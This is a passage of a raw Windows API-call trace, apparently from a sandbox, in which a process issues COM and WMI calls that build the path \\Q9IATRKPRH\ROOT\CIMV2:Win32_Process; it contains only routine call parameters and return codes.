plFlavor=0x1b2fd9d8*=64) returned 0x0 [0063.823] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0063.823] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0063.823] IWbemClassObject:Get (in: This=0x1bef6990, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0063.823] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0063.823] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0063.824] IWbemClassObject:Get (in: This=0x1bef6990, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0063.824] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0063.824] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0063.824] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0063.824] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0063.824] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0063.824] IUnknown:Release (This=0x111f638) returned 0x1 [0063.826] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf2b280) returned 0x0 [0063.826] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2b280, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0063.826] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2b280, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119c3e0) returned 0x0 [0063.827] WbemDefPath:IUnknown:Release (This=0x1bf2b280) returned 0x0 [0063.827] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119c3e0) returned 0x0 [0063.827] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0063.827] WbemDefPath:IUnknown:AddRef (This=0x119c3e0) returned 0x3 [0063.827] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0063.827] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0063.827] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf2b2c0) returned 0x0 [0063.827] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2b2c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0063.829] WbemDefPath:IUnknown:Release (This=0x1bf2b2c0) returned 0x3 [0063.829] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0063.829] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0063.829] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0063.829] WbemDefPath:IUnknown:Release (This=0x119c3e0) returned 0x2 [0063.829] WbemDefPath:IUnknown:Release (This=0x119c3e0) returned 0x1 [0063.829] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0063.829] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0063.829] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c3e0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119c3e0) returned 0x0 [0063.829] WbemDefPath:IUnknown:AddRef (This=0x119c3e0) returned 0x3 [0063.829] WbemDefPath:IUnknown:Release (This=0x119c3e0) returned 0x2 [0063.829] WbemDefPath:IWbemPath:SetText (This=0x119c3e0, uMode=0x4, pszPath="") returned 0x0 [0063.829] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0063.829] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0063.829] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0063.829] IUnknown:Release (This=0x111f638) returned 0x1 [0063.831] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf2b280) returned 0x0 [0063.832] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2b280, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0063.832] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2b280, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x119c4a0) returned 0x0 [0063.832] WbemDefPath:IUnknown:Release (This=0x1bf2b280) returned 0x0 [0063.832] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c4a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x119c4a0) returned 0x0 [0063.832] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c4a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0063.832] WbemDefPath:IUnknown:AddRef (This=0x119c4a0) returned 0x3 [0063.832] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c4a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0063.832] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c4a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0063.832] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c4a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf2b300) returned 0x0 [0063.832] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2b300, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0063.832] WbemDefPath:IUnknown:Release (This=0x1bf2b300) returned 0x3 [0063.833] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0063.833] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0063.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c4a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0063.833] WbemDefPath:IUnknown:Release (This=0x119c4a0) returned 0x2 [0063.833] WbemDefPath:IUnknown:Release (This=0x119c4a0) returned 0x1 [0063.833] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0063.833] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0063.833] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c4a0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119c4a0) returned 0x0 [0063.833] WbemDefPath:IUnknown:AddRef (This=0x119c4a0) returned 0x3 [0063.833] WbemDefPath:IUnknown:Release (This=0x119c4a0) returned 0x2 [0063.833] WbemDefPath:IWbemPath:SetText (This=0x119c4a0, uMode=0x4, pszPath="") returned 0x0 [0063.833] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c4a0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0063.833] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c3e0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0063.833] WbemDefPath:IWbemPath:GetClassName (in: This=0x119c4a0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0063.833] WbemDefPath:IWbemPath:GetServer (in: This=0x119c4a0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0063.833] WbemDefPath:IWbemPath:SetServer (This=0x119c4a0, Name="Q9IATRKPRH") returned 0x0 [0063.833] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0063.833] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0063.834] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0063.834] IUnknown:Release (This=0x111f638) returned 0x1 [0063.836] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf2b320) returned 0x0 [0063.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2b320, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0063.836] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2b320, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3a800) returned 0x0 [0063.836] WbemDefPath:IUnknown:Release (This=0x1bf2b320) returned 0x0 [0063.836] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3a800) returned 0x0 [0063.837] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0063.837] WbemDefPath:IUnknown:AddRef (This=0x1bf3a800) returned 0x3 [0063.837] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0063.837] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0063.837] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf2b360) returned 0x0 [0063.837] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2b360, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0063.837] WbemDefPath:IUnknown:Release (This=0x1bf2b360) returned 0x3 [0063.837] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0063.837] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0063.837] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0063.837] WbemDefPath:IUnknown:Release (This=0x1bf3a800) returned 0x2 [0063.838] WbemDefPath:IUnknown:Release (This=0x1bf3a800) returned 0x1 [0063.838] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0063.838] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0063.838] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3a800, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3a800) returned 0x0 [0063.838] WbemDefPath:IUnknown:AddRef (This=0x1bf3a800) returned 0x3 [0063.838] WbemDefPath:IUnknown:Release (This=0x1bf3a800) returned 0x2 [0063.838] WbemDefPath:IWbemPath:SetText (This=0x1bf3a800, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0063.838] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c4a0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0063.838] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3a800, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0063.838] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0063.838] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3a800, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0063.838] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x119c4a0) returned 0x0 [0063.838] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3a800, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0063.838] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3a800, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0063.838] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3a800, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0063.838] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119c4a0, uIndex=0x0, pszName="ROOT") returned 0x0 [0063.838] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3a800, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0063.838] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3a800, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0063.838] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119c4a0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0063.838] WbemDefPath:IWbemPath:GetClassName (in: This=0x119c4a0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0063.838] WbemDefPath:IWbemPath:SetClassName (This=0x119c4a0, Name="Win32_Process") returned 0x0 [0063.838] WbemDefPath:IWbemPath:GetInfo (in: This=0x119c4a0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0063.839] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c4a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0063.839] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0063.839] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0063.839] WbemDefPath:IWbemPath:GetInfo (in: This=0x119c4a0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0063.839] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c4a0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0063.839] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0063.839] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0063.839] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c260, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0063.839] WbemDefPath:IWbemPath:GetText (in: This=0x119c260, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0063.839] WbemDefPath:IWbemPath:GetText (in: This=0x119c260, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0063.839] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0063.839] WbemDefPath:IWbemPath:GetText (in: This=0x119c4a0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0063.839] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0063.839] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0063.839] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, 